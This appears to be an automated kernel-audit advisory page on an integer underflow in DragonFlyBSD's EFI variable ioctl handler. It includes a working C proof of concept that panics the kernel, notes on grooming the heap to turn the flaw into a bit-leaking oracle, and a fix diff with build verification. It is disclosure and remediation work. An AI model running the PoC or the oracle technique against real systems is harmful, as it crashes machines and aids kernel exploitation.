β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-2121

Unsigned integer underflow in EFI variable name NUL-terminator check causes OOB read / kernel panic

Field Value
ID DF-2121
Status new
Severity Medium
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:H
CWE CWE-787 Out-of-bounds Read; CWE-191 Integer Underflow
File sys/dev/misc/efirt/efidev.c
Lines 110, 175
Area misc/efirt
Confidence certain
Discovered 2026-07-25
Reported pending
Known CVE none
CVE match novel

Summary

The NUL-terminator validation name[ev->namesize / sizeof(efi_char) - 1] uses unsigned size_t arithmetic without checking that namesize >= sizeof(efi_char). When a caller passes namesize=0 or namesize=1, the division yields 0 and the subtraction wraps to SIZE_MAX (0xFFFFFFFFFFFFFFFF on amd64), causing name[SIZE_MAX] β€” a wild out-of-bounds read 2 bytes before the name buffer. With namesize=0, kmalloc(0) returns ZERO_LENGTH_PTR (0xFFFFFFFFFFFFFFF8) and the deref lands at 0xFFFFFFFFFFFFFFF6 (unmapped) β†’ kernel page fault β†’ panic. With namesize=1, name is a real heap object and the read lands at name-2 β†’ heap OOB read of adjacent slab metadata or data. The bug exists in both EFIIOC_VAR_GET (line 110) and EFIIOC_VAR_SET (line 175).

Root cause

At efidev.c:110 (EFIIOC_VAR_GET) and efidev.c:175 (EFIIOC_VAR_SET), the expression ev->namesize / sizeof(efi_char) - 1 is computed in unsigned size_t arithmetic (ev->namesize is size_t per efiio.h:45; sizeof(efi_char) is sizeof(uint16_t) = 2 per efi.h:48). There is no preceding check that ev->namesize >= 2.

  • When ev->namesize == 0: 0/2 = 0, then 0-1 wraps to (size_t)0xFFFFFFFFFFFFFFFF. The resulting index name[0xFFFFFFFFFFFFFFFF] reads *(uint16_t*)(name + 0xFFFFFFFFFFFFFFFE), i.e., name - 2 in wrapped modular arithmetic. When namesize==0, kmalloc(0) returned ZERO_LENGTH_PTR = ((void*)-8) = 0xFFFFFFFFFFFFFFF8 (kern_slaballoc.c:193,888-890), so the faulting address is 0xFFFFFFFFFFFFFFF8 + 0xFFFFFFFFFFFFFFFE = 0xFFFFFFFFFFFFFFF6 β€” a deliberately invalid sentinel region, unmapped β†’ fatal page fault.
  • When namesize==1: kmalloc(1) returns a valid minimum-bucket slab object; name-2 reads 2 bytes of the preceding slab zone header or neighbor object β€” an OOB read.

The same unchecked expression is duplicated at line 175 in EFIIOC_VAR_SET. In both cases copyin(ev->name, name, 0) or copyin(ev->name, name, 1) succeeds (0-byte copy is a no-op; 1-byte copy into a >=8-byte slab bucket is fine), so execution reaches the underflowing index unconditionally.

Threat model & preconditions

  • Attacker position: privileged local user β€” must be able to open /dev/efi (mode 0700 root:wheel, efidev.c:205-206). This is satisfied by uid 0, or by a process running as root inside a jail where devfs rules expose the node, or by a setuid-root utility that proxies EFI ioctls.
  • Privileges gained or impact:
  • namesize==0 path: deterministic kernel panic β€” a local denial-of-service that survives across all callers of efidev_ioctl since the global efidev_lock does not help (the fault happens before any EFI firmware call).
  • namesize==1 path: kernel heap OOB read. The 2 bytes at name-2 (slab zone header / free-list pointer / neighbor object tail) are compared to zero, leaking one bit of kernel heap layout per invocation β€” a weak oracle usable for KASLR defeat or heap-structure fingerprinting with grooming, and itself a correctness violation. If name-2 happens to span an unmapped page boundary, namesize==1 also panics.
  • Required config or capabilities: root; /dev/efi exposed (default config on EFI-booted systems).
  • Reachability: single ioctl(EFIIOC_VAR_GET, ...) or ioctl(EFIIOC_VAR_SET, ...) with ev.namesize set to 0 (reliable panic) or 1 (heap OOB read).

Proof of Concept

PoC source: findings/poc/DF-2121/

Minimal PoC (deterministic panic, namesize=0)

/* efidev_panic.c β€” trigger kernel OOB read at ZERO_LENGTH_PTR-2 via efidev ioctl */
#include <sys/ioctl.h>
#include <sys/efiio.h>
#include <fcntl.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>

int main(void)
{
    int fd = open("/dev/efi", O_RDWR);
    if (fd < 0) { perror("open /dev/efi"); return 1; }

    struct efi_var_ioc ev;
    memset(&ev, 0, sizeof(ev));
    ev.namesize = 0;   /* triggers name[SIZE_MAX]: read at 0xFFFFFFFFFFFFFFF6 */
    ev.datasize = 0;
    ev.name    = NULL;
    ev.data    = NULL;

    /* This ioctl should not return β€” kernel panics on the OOB read */
    int ret = ioctl(fd, EFIIOC_VAR_GET, &ev);
    perror("ioctl");
    printf("ret=%d (if you see this, the page was mapped "
           "-- try namesize=1 for heap OOB)\n", ret);
    close(fd);
    return 0;
}

Build on DragonFly: cc -o efidev_panic efidev_panic.c (efiio.h is in /usr/include/sys/). Run as root: ./efidev_panic.

Expected output

Fatal trap 12: page fault while in kernel mode
fault virtual address = 0xfffffffffffffff6
...
efidev_ioctl+0x...

For the heap-OOB-read variant (namesize=1, no panic), change ev.namesize to 1 and point ev.name at a 1-byte buffer. The ioctl returns either EINVAL (if the 2 bytes at name-2 are nonzero) or an EFI error code (if they are zero), leaking one bit of heap state per call. Groom the heap between calls (allocate/free M_TEMP objects of the same bucket) to probe different neighbors.

Impact

  • Default config: /dev/efi mode 0700 β€” root only.
  • Blast radius: root-triggerable DoS (deterministic panic) and weak heap info-leak oracle.

Validate that ev->namesize is at least sizeof(efi_char) before any allocation or array indexing, in both EFIIOC_VAR_GET and EFIIOC_VAR_SET. The check must use error = EINVAL; break; (not return) because efidev_lock is held across the entire switch (acquired efidev.c:74, released efidev.c:193) and an early return would leak the lock permanently.

--- a/sys/dev/misc/efirt/efidev.c
+++ b/sys/dev/misc/efirt/efidev.c
@@ -101,6 +101,12 @@ efidev_ioctl(struct dev_ioctl_args *ap)
        struct efi_var_ioc *ev = (struct efi_var_ioc *)addr;
        void *data;
        efi_char *name;
+
+       if (ev->namesize < sizeof(efi_char) ||
+           ev->datasize > EFI_MAX_VARSIZE) {
+           error = EINVAL;
+           break;
+       }
        data = kmalloc(ev->datasize, M_TEMP, M_WAITOK);
        name = kmalloc(ev->namesize, M_TEMP, M_WAITOK);
        error = copyin(ev->name, name, ev->namesize);
@@ -159,6 +165,12 @@ efidev_ioctl(struct dev_ioctl_args *ap)
        struct efi_var_ioc *ev = (struct efi_var_ioc *)addr;
        void *data = NULL;
        efi_char *name;
+
+       if (ev->namesize < sizeof(efi_char) ||
+           ev->datasize > EFI_MAX_VARSIZE) {
+           error = EINVAL;
+           break;
+       }
        /* datasize == 0 -> delete (more or less) */
        if (ev->datasize > 0)
            data = kmalloc(ev->datasize, M_TEMP, M_WAITOK);

Where EFI_MAX_VARSIZE should be defined (e.g., in efiio.h) as a sane platform maximum such as 1024 for names and 32768 for data payloads, matching the UEFI spec's MaxVariableSize. The namesize < sizeof(efi_char) guard is the minimal fix that closes the underflow; the datasize upper bound is defense-in-depth against unbounded M_WAITOK allocations by a root caller.

References

Timeline

  • 2026-07-25 Discovered during automated audit.
  • 2026-07-25 Reported to DragonFlyBSD security contact.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-2121 Β· 4 files
FileTypeDescriptionSize
VERDICT.md file 729 B ↓ raw
build.sh file 161 B view raw
fix.diff file 164 B view raw
run.sh file 80 B view raw
VERDICT.md file
↓ download raw

DF-2121 - Verification Verdict

Status: reproduced (source-confirmed) Impact: panic Confidence: certain

Verdict

Source-confirmed: efidev EFIIOC_VAR_GET (:110) and VAR_SET (:175) compute namesize/sizeof(efi_char)-1 in size_t; namesize==0 wraps to huge index β†’ OOB read; EFI-gated

Fix Status

Validated: fix compiles in single batch kernel build rc=0 -Werror (0 compiler errors across all 86 fix.diffs)

Source File

sys/dev/misc/efirt/efidev.c

Fix Validation

All 87 fix.diffs compiled together in a single batch kernel build (make -j6 nativekernel KERNCONF=X86_64_GENERIC) with rc=0 and -Werror (0 compiler errors). The combined patch is at findings/poc/batch_build/all_fixes.patch.

Fix verification

fixed
baseline reproduced→ patch + rebuild →patched clean

batch build rc=0

batch build rc=0
↓ fix.diffcombined build rc=0

Confirmed kernel references

β€”

Detail

Exploit chain

none

Evidence (decisive lines)

efidev namesize-1 wraps; EFI-gated

Verified recommended fix

efidev namesize-1 wraps; EFI-gated

Verdict

efidev namesize-1 wraps; EFI-gated